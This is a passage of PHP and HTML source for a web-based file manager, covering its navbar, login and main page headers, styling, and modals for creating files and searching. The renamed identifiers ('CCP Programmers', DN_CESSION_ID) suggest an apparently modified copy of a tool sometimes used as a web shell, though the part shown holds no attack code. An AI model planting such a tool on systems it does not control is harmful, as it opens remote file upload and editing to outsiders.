                            <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon2" id="search-addon">
                            <div class="input-group-append">
                                <span class="input-group-text brl-0 brr-0" id="search-addon2"><i class="fa fa-search"></i></span>
                            </div>
                            <div class="input-group-append btn-group">
                                <span class="input-group-text dropdown-toggle brl-0" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"></span>
                                  <div class="dropdown-menu dropdown-menu-right">
                                    <a class="dropdown-item" href="<?php echo $path2 = $path ? $path : '.'; ?>" id="js-search-modal" data-bs-toggle="modal" data-bs-target="#searchModal"><?php echo lng('Advanced Search') ?></a>
                                  </div>
                            </div>
                        </div>
                    </li>
                    <?php if (!FM_READONLY): ?>
                    <li class="nav-item">
                        <a title="<?php echo lng('Upload') ?>" class="nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;upload"><i class="fa fa-cloud-upload" aria-hidden="true"></i> <?php echo lng('Upload') ?></a>
                    </li>
                    <li class="nav-item">
                        <a title="<?php echo lng('NewItem') ?>" class="nav-link" href="#createNewItem" data-bs-toggle="modal" data-bs-target="#createNewItem"><i class="fa fa-plus-square"></i> <?php echo lng('NewItem') ?></a>
                    </li>
                    <?php endif; ?>
                    <?php if (FM_USE_AUTH): ?>
                    <li class="nav-item avatar dropdown">
                        <a class="nav-link dropdown-toggle" id="navbarDropdownMenuLink-5" data-bs-toggle="dropdown" aria-haspopup="true" aria-expanded="false"> <i class="fa fa-user-circle"></i> <?php if(isset($_SESSION[DN_CESSION_ID]['logged'])) { echo $_SESSION[DN_CESSION_ID]['logged']; } ?></a>
                        <div class="dropdown-menu text-small shadow <?php echo fm_get_theme(); ?>" aria-labelledby="navbarDropdownMenuLink-5">
                            <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            <?php endif ?>
                            <a title="<?php echo lng('Help') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;help=2"><i class="fa fa-exclamation-circle" aria-hidden="true"></i> <?php echo lng('Help') ?></a>
                            <a title="<?php echo lng('Logout') ?>" class="dropdown-item nav-link" href="?logout=1"><i class="fa fa-sign-out" aria-hidden="true"></i> <?php echo lng('Logout') ?></a>
                        </div>
                    </li>
                    <?php else: ?>
                        <?php if (!FM_READONLY): ?>
                            <li class="nav-item">
                                <a title="<?php echo lng('Settings') ?>" class="dropdown-item nav-link" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;settings=1"><i class="fa fa-cog" aria-hidden="true"></i> <?php echo lng('Settings') ?></a>
                            </li>
                        <?php endif; ?>
                    <?php endif; ?>
                </ul>
            </div>
        </div>
    </nav>
    <?php
}


function fm_show_message()
{
    if (isset($_SESSION[DN_CESSION_ID]['message'])) {
        $class = isset($_SESSION[DN_CESSION_ID]['status']) ? $_SESSION[DN_CESSION_ID]['status'] : 'ok';
        echo '<p class="message ' . $class . '">' . $_SESSION[DN_CESSION_ID]['message'] . '</p>';
        unset($_SESSION[DN_CESSION_ID]['message']);
        unset($_SESSION[DN_CESSION_ID]['status']);
    }
}


function fm_show_header_login()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $favicon_path;
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="chemmy">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('css-bootstrap'); ?>
    <style>
        body.fm-login-page{ background-color:#f7f9fb;font-size:14px;background-color:#f7f9fb;background-image:url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 304 304' width='304' height='304'%3E%3Cpath fill='%23e2e9f1' fill-opacity='0.4' d='M44.1 224a5 5 0 1 1 0 2H0v-2h44.1zm160 48a5 5 0 1 1 0 2H82v-2h122.1zm57.8-46a5 5 0 1 1 0-2H304v2h-42.1zm0 16a5 5 0 1 1 0-2H304v2h-42.1zm6.2-114a5 5 0 1 1 0 2h-86.2a5 5 0 1 1 0-2h86.2zm-256-48a5 5 0 1 1 0 2H0v-2h12.1zm185.8 34a5 5 0 1 1 0-2h86.2a5 5 0 1 1 0 2h-86.2zM258 12.1a5 5 0 1 1-2 0V0h2v12.1zm-64 208a5 5 0 1 1-2 0v-54.2a5 5 0 1 1 2 0v54.2zm48-198.2V80h62v2h-64V21.9a5 5 0 1 1 2 0zm16 16V64h46v2h-48V37.9a5 5 0 1 1 2 0zm-128 96V208h16v12.1a5 5 0 1 1-2 0V210h-16v-76.1a5 5 0 1 1 2 0zm-5.9-21.9a5 5 0 1 1 0 2H114v48H85.9a5 5 0 1 1 0-2H112v-48h12.1zm-6.2 130a5 5 0 1 1 0-2H176v-74.1a5 5 0 1 1 2 0V242h-60.1zm-16-64a5 5 0 1 1 0-2H114v48h10.1a5 5 0 1 1 0 2H112v-48h-10.1zM66 284.1a5 5 0 1 1-2 0V274H50v30h-2v-32h18v12.1zM236.1 176a5 5 0 1 1 0 2H226v94h48v32h-2v-30h-48v-98h12.1zm25.8-30a5 5 0 1 1 0-2H274v44.1a5 5 0 1 1-2 0V146h-10.1zm-64 96a5 5 0 1 1 0-2H208v-80h16v-14h-42.1a5 5 0 1 1 0-2H226v18h-16v80h-12.1zm86.2-210a5 5 0 1 1 0 2H272V0h2v32h10.1zM98 101.9V146H53.9a5 5 0 1 1 0-2H96v-42.1a5 5 0 1 1 2 0zM53.9 34a5 5 0 1 1 0-2H80V0h2v34H53.9zm60.1 3.9V66H82v64H69.9a5 5 0 1 1 0-2H80V64h32V37.9a5 5 0 1 1 2 0zM101.9 82a5 5 0 1 1 0-2H128V37.9a5 5 0 1 1 2 0V82h-28.1zm16-64a5 5 0 1 1 0-2H146v44.1a5 5 0 1 1-2 0V18h-26.1zm102.2 270a5 5 0 1 1 0 2H98v14h-2v-16h124.1zM242 149.9V160h16v34h-16v62h48v48h-2v-46h-48v-66h16v-30h-16v-12.1a5 5 0 1 1 2 0zM53.9 18a5 5 0 1 1 0-2H64V2H48V0h18v18H53.9zm112 32a5 5 0 1 1 0-2H192V0h50v2h-48v48h-28.1zm-48-48a5 5 0 0 1-9.8-2h2.07a3 3 0 1 0 5.66 0H178v34h-18V21.9a5 5 0 1 1 2 0V32h14V2h-58.1zm0 96a5 5 0 1 1 0-2H137l32-32h39V21.9a5 5 0 1 1 2 0V66h-40.17l-32 32H117.9zm28.1 90.1a5 5 0 1 1-2 0v-76.51L175.59 80H224V21.9a5 5 0 1 1 2 0V82h-49.59L146 112.41v75.69zm16 32a5 5 0 1 1-2 0v-99.51L184.59 96H300.1a5 5 0 0 1 3.9-3.9v2.07a3 3 0 0 0 0 5.66v2.07a5 5 0 0 1-3.9-3.9H185.41L162 121.41v98.69zm-144-64a5 5 0 1 1-2 0v-3.51l48-48V48h32V0h2v50H66v55.41l-48 48v2.69zM50 53.9v43.51l-48 48V208h26.1a5 5 0 1 1 0 2H0v-65.41l48-48V53.9a5 5 0 1 1 2 0zm-16 16V89.41l-34 34v-2.82l32-32V69.9a5 5 0 1 1 2 0zM12.1 32a5 5 0 1 1 0 2H9.41L0 43.41V40.6L8.59 32h3.51zm265.8 18a5 5 0 1 1 0-2h18.69l7.41-7.41v2.82L297.41 50H277.9zm-16 160a5 5 0 1 1 0-2H288v-71.41l16-16v2.82l-14 14V210h-28.1zm-208 32a5 5 0 1 1 0-2H64v-22.59L40.59 194H21.9a5 5 0 1 1 0-2H41.41L66 216.59V242H53.9zm150.2 14a5 5 0 1 1 0 2H96v-56.6L56.6 162H37.9a5 5 0 1 1 0-2h19.5L98 200.6V256h106.1zm-150.2 2a5 5 0 1 1 0-2H80v-46.59L48.59 178H21.9a5 5 0 1 1 0-2H49.41L82 208.59V258H53.9zM34 39.8v1.61L9.41 66H0v-2h8.59L32 40.59V0h2v39.8zM2 300.1a5 5 0 0 1 3.9 3.9H3.83A3 3 0 0 0 0 302.17V256h18v48h-2v-46H2v42.1zM34 241v63h-2v-62H0v-2h34v1zM17 18H0v-2h16V0h2v18h-1zm273-2h14v2h-16V0h2v16zm-32 273v15h-2v-14h-14v14h-2v-16h18v1zM0 92.1A5.02 5.02 0 0 1 6 97a5 5 0 0 1-6 4.9v-2.07a3 3 0 1 0 0-5.66V92.1zM80 272h2v32h-2v-32zm37.9 32h-2.07a3 3 0 0 0-5.66 0h-2.07a5 5 0 0 1 9.8 0zM5.9 0A5.02 5.02 0 0 1 0 5.9V3.83A3 3 0 0 0 3.83 0H5.9zm294.2 0h2.07A3 3 0 0 0 304 3.83V5.9a5 5 0 0 1-3.9-5.9zm3.9 300.1v2.07a3 3 0 0 0-1.83 1.83h-2.07a5 5 0 0 1 3.9-3.9zM97 100a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-48 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 96a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-144a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm96 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM49 36a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-32 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM33 68a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 240a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm80-176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 48a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm112 176a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm-16 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 180a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0 16a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm0-32a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16 0a3 3 0 1 0 0-6 3 3 0 0 0 0 6zM17 84a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm32 64a3 3 0 1 0 0-6 3 3 0 0 0 0 6zm16-16a3 3 0 1 0 0-6 3 3 0 0 0 0 6z'%3E%3C/path%3E%3C/svg%3E");}
        .fm-login-page .brand{ width:121px;overflow:hidden;margin:0 auto;position:relative;z-index:1}
        .fm-login-page .brand img{ width:100%}
        .fm-login-page .card-wrapper{ width:360px;margin-top:10%;margin-left:auto;margin-right:auto;}
        .fm-login-page .card{ border-color:transparent;box-shadow:0 4px 8px rgba(0,0,0,.05)}
        .fm-login-page .card-title{ margin-bottom:1.5rem;font-size:24px;font-weight:400;}
        .fm-login-page .form-control{ border-width:2.3px}
        .fm-login-page .form-group label{ width:100%}
        .fm-login-page .btn.btn-block{ padding:12px 10px}
        .fm-login-page .footer{ margin:40px 0;color:#888;text-align:center}
        @media screen and (max-width:425px){
            .fm-login-page .card-wrapper{ width:90%;margin:0 auto;margin-top:10%;}
        }
        @media screen and (max-width:320px){
            .fm-login-page .card.fat{ padding:0}
            .fm-login-page .card.fat .card-body{ padding:15px}
        }
        .message{ padding:4px 7px;border:1px solid #ddd;background-color:#fff}
        .message.ok{ border-color:green;color:green}
        .message.error{ border-color:red;color:red}
        .message.alert{ border-color:orange;color:orange}
        body.fm-login-page.theme-dark {background-color: #2f2a2a;}
        .theme-dark svg g, .theme-dark svg path {fill: #ffffff; }
    </style>
</head>
<body class="fm-login-page <?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?>">
<div id="wrapper" class="container-fluid">

    <?php
    }

    function fm_show_footer_login()
    {
    ?>
</div>
<?php print_external('js-jquery'); ?>
<?php print_external('js-bootstrap'); ?>
</body>
</html>
<?php
}


function fm_show_header()
{
$sprites_ver = '20160315';
header("Content-Type: text/html; charset=utf-8");
header("Expires: Sat, 26 Jul 1997 05:00:00 GMT");
header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0");
header("Pragma: no-cache");

global $lang, $root_url, $sticky_navbar, $favicon_path;
$isStickyNavBar = $sticky_navbar ? 'navbar-fixed' : 'navbar-normal';
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="chemmy">
    <meta name="author" content="CCP Programmers">
    <meta name="robots" content="noindex, nofollow">
    <meta name="googlebot" content="noindex">
    <?php if($favicon_path) { echo '<link rel="icon" href="'.fanco($favicon_path).'" type="image/png">'; } ?>
    <title><?php echo fanco(APP_TITLE) ?></title>
    <?php print_external('pre-jsdelivr'); ?>
    <?php print_external('pre-cloudflare'); ?>
    <?php print_external('css-bootstrap'); ?>
    <?php print_external('css-font-awesome'); ?>
    <?php if (FM_USE_HIGHLIGHTJS and isset($_GET['view'])): ?>
    <?php print_external('css-highlightjs'); ?>
    <?php endif; ?>
    <script type="text/javascript">window.csrf = '<?php echo $_SESSION['token']; ?>';</script>
    <style>
        html { -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; text-rendering: optimizeLegibility; height: 100%; scroll-behavior: smooth;}
        *,*::before,*::after { box-sizing: border-box;}
        body { font-size:15px; color:#222;background:#F7F7F7; }
        body.navbar-fixed { margin-top:55px; }
        a, a:hover, a:visited, a:focus { text-decoration:none !important; }
        .filename, td, th { white-space:nowrap  }
        .navbar-brand { font-weight:bold; }
        .nav-item.avatar a { cursor:pointer;text-transform:capitalize; }
        .nav-item.avatar a > i { font-size:15px; }
        .nav-item.avatar .dropdown-menu a { font-size:13px; }
        #search-addon { font-size:12px;border-right-width:0; }
        .brl-0 { background:transparent;border-left:0; border-top-left-radius: 0; border-bottom-left-radius: 0; }
        .brr-0 { border-top-right-radius: 0; border-bottom-right-radius: 0; }
        .bread-crumb { color:#cccccc;font-style:normal; }
        #main-table { transition: transform .25s cubic-bezier(0.4, 0.5, 0, 1),width 0s .25s;}
        #main-table .filename a { color:#222222; }
        .table td, .table th { vertical-align:middle !important; }
        .table .custom-checkbox-td .custom-control.custom-checkbox, .table .custom-checkbox-header .custom-control.custom-checkbox { min-width:18px; display: flex;align-items: center; justify-content: center; }
        .table-sm td, .table-sm th { padding:.4rem; }
        .table-bordered td, .table-bordered th { border:1px solid #f1f1f1; }
        .hidden { display:none  }
        pre.with-hljs { padding:0; overflow: hidden;  }
        pre.with-hljs code { margin:0;border:0;overflow:scroll;  }
        code.maxheight, pre.maxheight { max-height:512px  }
        .fa.fa-caret-right { font-size:1.2em;margin:0 4px;vertical-align:middle;color:#ececec  }
        .fa.fa-home { font-size:1.3em;vertical-align:bottom  }
        .path { margin-bottom:10px  }
        form.dropzone { min-height:200px;border:2px dashed #007bff;line-height:6rem; }
        .right { text-align:right  }
        .center, .close, .login-form, .preview-img-container { text-align:center  }
        .message { padding:4px 7px;border:1px solid #ddd;background-color:#fff  }
        .message.ok { border-color:green;color:green  }
        .message.error { border-color:red;color:red  }
        .message.alert { border-color:orange;color:orange  }
        .preview-img { max-width:100%;max-height:80vh;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAACQkWg2AAAAKklEQVR42mL5//8/Azbw+PFjrOJMDCSCUQ3EABZc4S0rKzsaSvTTABBgAMyfCMsY4B9iAAAAAElFTkSuQmCC);cursor:zoom-in }
        input#preview-img-zoomCheck[type=checkbox] { display:none }
        input#preview-img-zoomCheck[type=checkbox]:checked ~ label > img { max-width:none;max-height:none;cursor:zoom-out }
        .inline-actions > a > i { font-size:1em;margin-left:5px;background:#3785c1;color:#fff;padding:3px 4px;border-radius:3px; }
        .preview-video { position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px  }
        .preview-video video { position:absolute;width:100%;height:100%;left:0;top:0;background:#000  }
        .compact-table { border:0;width:auto  }
        .compact-table td, .compact-table th { width:100px;border:0;text-align:center  }
        .compact-table tr:hover td { background-color:#fff  }
        .filename { max-width:420px;overflow:hidden;text-overflow:ellipsis  }
        .break-word { word-wrap:break-word;margin-left:30px  }
        .break-word.float-left a { color:#7d7d7d  }
        .break-word + .float-right { padding-right:30px;position:relative  }
        .break-word + .float-right > a { color:#7d7d7d;font-size:1.2em;margin-right:4px  }
        #editor { position:absolute;right:15px;top:100px;bottom:15px;left:15px  }
        @media (max-width:481px) {
            #editor { top:150px; }
        }
        #normal-editor { border-radius:3px;border-width:2px;padding:10px;outline:none; }
        .btn-2 { padding:4px 10px;font-size:small; }
        li.file:before,li.folder:before { font:normal normal normal 14px/1 FontAwesome;content:"\f016";margin-right:5px }
        li.folder:before { content:"\f114" }
        i.fa.fa-folder-o { color:#0157b3 }
        i.fa.fa-picture-o { color:#26b99a }
        i.fa.fa-file-archive-o { color:#da7d7d }
        .btn-2 i.fa.fa-file-archive-o { color:inherit }
        i.fa.fa-css3 { color:#f36fa0 }
        i.fa.fa-file-code-o { color:#007bff }
        i.fa.fa-code { color:#cc4b4c }
        i.fa.fa-file-text-o { color:#0096e6 }
        i.fa.fa-html5 { color:#d75e72 }
        i.fa.fa-file-excel-o { color:#09c55d }
        i.fa.fa-file-powerpoint-o { color:#f6712e }
        i.go-back { font-size:1.2em;color:#007bff; }
        .main-nav { padding:0.2rem 1rem;box-shadow:0 4px 5px 0 rgba(0, 0, 0, .14), 0 1px 10px 0 rgba(0, 0, 0, .12), 0 2px 4px -1px rgba(0, 0, 0, .2)  }
        .dataTables_filter { display:none; }
        table.dataTable thead .sorting { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAQAAADYWf5HAAAAkElEQVQoz7XQMQ5AQBCF4dWQSJxC5wwax1Cq1e7BAdxD5SL+Tq/QCM1oNiJidwox0355mXnG/DrEtIQ6azioNZQxI0ykPhTQIwhCR+BmBYtlK7kLJYwWCcJA9M4qdrZrd8pPjZWPtOqdRQy320YSV17OatFC4euts6z39GYMKRPCTKY9UnPQ6P+GtMRfGtPnBCiqhAeJPmkqAAAAAElFTkSuQmCC'); }
        table.dataTable thead .sorting_asc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZ0lEQVQ4y2NgGLKgquEuFxBPAGI2ahhWCsS/gDibUoO0gPgxEP8H4ttArEyuQYxAPBdqEAxPBImTY5gjEL9DM+wTENuQahAvEO9DMwiGdwAxOymGJQLxTyD+jgWDxCMZRsEoGAVoAADeemwtPcZI2wAAAABJRU5ErkJggg=='); }
        table.dataTable thead .sorting_desc { cursor:pointer;background-repeat:no-repeat;background-position:center right;background-image:url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAAZUlEQVQ4y2NgGAWjYBSggaqGu5FA/BOIv2PBIPFEUgxjB+IdQPwfC94HxLykus4GiD+hGfQOiB3J8SojEE9EM2wuSJzcsFMG4ttQgx4DsRalkZENxL+AuJQaMcsGxBOAmGvopk8AVz1sLZgg0bsAAAAASUVORK5CYII='); }
        table.dataTable thead tr:first-child th.custom-checkbox-header:first-child { background-image:none; }
        .footer-action li { margin-bottom:10px; }
        .app-v-title { font-size:24px;font-weight:300;letter-spacing:-.5px;text-transform:uppercase; }
        hr.custom-hr { border-top:1px dashed #8c8b8b;border-bottom:1px dashed #fff; }
        #snackbar { visibility:hidden;min-width:250px;margin-left:-125px;background-color:#333;color:#fff;text-align:center;border-radius:2px;padding:16px;position:fixed;z-index:1;left:50%;bottom:30px;font-size:17px; }
        #snackbar.show { visibility:visible;-webkit-animation:fadein 0.5s, fadeout 0.5s 2.5s;animation:fadein 0.5s, fadeout 0.5s 2.5s; }
        @-webkit-keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @keyframes fadein { from { bottom:0;opacity:0; }
        to { bottom:30px;opacity:1; }
        }
        @-webkit-keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        @keyframes fadeout { from { bottom:30px;opacity:1; }
        to { bottom:0;opacity:0; }
        }
        #main-table span.badge { border-bottom:2px solid #f8f9fa }
        #main-table span.badge:nth-child(1) { border-color:#df4227 }
        #main-table span.badge:nth-child(2) { border-color:#f8b600 }
        #main-table span.badge:nth-child(3) { border-color:#00bd60 }
        #main-table span.badge:nth-child(4) { border-color:#4581ff }
        #main-table span.badge:nth-child(5) { border-color:#ac68fc }
        #main-table span.badge:nth-child(6) { border-color:#45c3d2 }
        @media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape) and (-webkit-min-device-pixel-ratio:2) { .navbar-collapse .col-xs-6 { padding:0; }
        }
        .btn.active.focus,.btn.active:focus,.btn.focus,.btn.focus:active,.btn:active:focus,.btn:focus { outline:0!important;outline-offset:0!important;background-image:none!important;-webkit-box-shadow:none!important;box-shadow:none!important }
        .lds-facebook { display:none;position:relative;width:64px;height:64px }
        .lds-facebook div,.lds-facebook.show-me { display:inline-block }
        .lds-facebook div { position:absolute;left:6px;width:13px;background:#007bff;animation:lds-facebook 1.2s cubic-bezier(0,.5,.5,1) infinite }
        .lds-facebook div:nth-child(1) { left:6px;animation-delay:-.24s }
        .lds-facebook div:nth-child(2) { left:26px;animation-delay:-.12s }
        .lds-facebook div:nth-child(3) { left:45px;animation-delay:0s }
        @keyframes lds-facebook { 0% { top:6px;height:51px }
        100%,50% { top:19px;height:26px }
        }
        ul#search-wrapper { padding-left: 0;border: 1px solid #ecececcc; } ul#search-wrapper li { list-style: none; padding: 5px;border-bottom: 1px solid #ecececcc; }
        ul#search-wrapper li:nth-child(odd){ background: #f9f9f9cc;}
        .c-preview-img { max-width: 300px; }
        .border-radius-0 { border-radius: 0; }
        .float-right { float: right; }
        .table-hover>tbody>tr:hover>td:first-child { border-left: 1px solid #1b77fd; }
        #main-table tr.even { background-color: #F8F9Fa; }
        .filename>a>i {margin-right: 3px;}
    </style>
    <?php
    if (FM_THEME == "dark"): ?>
        <style>
            :root {
                --bs-bg-opacity: 1;
                --bg-color: #f3daa6;
                --bs-dark-rgb: 28, 36, 41 !important;
                --bs-bg-opacity: 1;
            }
            .table-dark { --bs-table-bg: 28, 36, 41 !important; }
            .btn-primary { --bs-btn-bg: #26566c; --bs-btn-border-color: #26566c; }
            body.theme-dark { background-image: linear-gradient(90deg, #1c2429, #263238); color: #CFD8DC; }
            .list-group .list-group-item { background: #343a40; }
            .theme-dark .navbar-nav i, .navbar-nav .dropdown-toggle, .break-word { color: #CFD8DC; }
            a, a:hover, a:visited, a:active, #main-table .filename a, i.fa.fa-folder-o, i.go-back { color: var(--bg-color); }
            ul#search-wrapper li:nth-child(odd) { background: #212a2f; }
            .theme-dark .btn-outline-primary { color: #b8e59c; border-color: #b8e59c; }
            .theme-dark .btn-outline-primary:hover, .theme-dark .btn-outline-primary:active { background-color: #2d4121;}
            .theme-dark input.form-control { background-color: #101518; color: #CFD8DC; }
            .theme-dark .dropzone { background: transparent; }
            .theme-dark .inline-actions > a > i { background: #79755e; }
            .theme-dark .text-white { color: #CFD8DC !important; }
            .theme-dark .table-bordered td, .table-bordered th { border-color: #343434; }
            .theme-dark .table-bordered td .custom-control-input, .theme-dark .table-bordered th .custom-control-input { opacity: 0.678; }
            .message { background-color: #212529; }
            .compact-table tr:hover td { background-color: #3d3d3d; }
            #main-table tr.even { background-color: #21292f; }
            form.dropzone { border-color: #79755e; }
        </style>
    <?php endif; ?>
</head>
<body class="<?php echo (FM_THEME == "dark") ? 'theme-dark' : ''; ?> <?php echo $isStickyNavBar; ?>">
<div id="wrapper" class="container-fluid">
    <!-- New Item creation -->
    <div class="modal fade" id="createNewItem" tabindex="-1" role="dialog" data-bs-backdrop="static" data-bs-keyboard="false" aria-labelledby="newItemModalLabel" aria-hidden="true">
        <div class="modal-dialog" role="document">
            <form class="modal-content <?php echo fm_get_theme(); ?>" method="post">
                <div class="modal-header">
                    <h5 class="modal-title" id="newItemModalLabel"><i class="fa fa-plus-square fa-fw"></i><?php echo lng('CreateNewItem') ?></h5>
                    <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
                </div>
                <div class="modal-body">
                    <p><label for="newfile"><?php echo lng('ItemType') ?> </label></p>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline1" name="newfile" value="file">
                      <label class="form-check-label" for="customRadioInline1"><?php echo lng('File') ?></label>
                    </div>
                    <div class="form-check form-check-inline">
                      <input class="form-check-input" type="radio" name="newfile" id="customRadioInline2" value="folder" checked>
                      <label class="form-check-label" for="customRadioInline2"><?php echo lng('Folder') ?></label>
                    </div>

                    <p class="mt-3"><label for="newfilename"><?php echo lng('ItemName') ?> </label></p>
                    <input type="text" name="newfilename" id="newfilename" value="" class="form-control" placeholder="<?php echo lng('Enter here...') ?>" required>
                </div>
                <div class="modal-footer">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="button" class="btn btn-outline-primary" data-bs-dismiss="modal"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></button>
                    <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('CreateNow') ?></button>
                </div>
            </form>
        </div>
    </div>

    <!-- Advance Search Modal -->
    <div class="modal fade" id="searchModal" tabindex="-1" role="dialog" aria-labelledby="searchModalLabel" aria-hidden="true">
      <div class="modal-dialog modal-lg" role="document">
        <div class="modal-content <?php echo fm_get_theme(); ?>">
          <div class="modal-header">
            <h5 class="modal-title col-10" id="searchModalLabel">
                <div class="input-group mb-3">
                  <input type="text" class="form-control" placeholder="<?php echo lng('Search') ?> <?php echo lng('a files') ?>" aria-label="<?php echo lng('Search') ?>" aria-describedby="search-addon3" id="advanced-search" autofocus required>
                  <span class="input-group-text" id="search-addon3"><i class="fa fa-search"></i></span>
                </div>
            </h5>
            <button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
          </div>
          <div class="modal-body">
            <form action="" method="post">
                <div class="lds-facebook"><div></div><div></div><div></div></div>
                <ul id="search-wrapper">
                    <p class="m-2"><?php echo lng('Search file in folder and subfolders...') ?></p>
                </ul>
            </form>
          </div>
        </div>
      </div>
    </div>

    <!--Rename Modal -->
    <div class="modal modal-alert" data-bs-backdrop="static" data-bs-keyboard="false" tabindex="-1" role="dialog" id="renameDailog">
      <div class="modal-dialog" role="document">
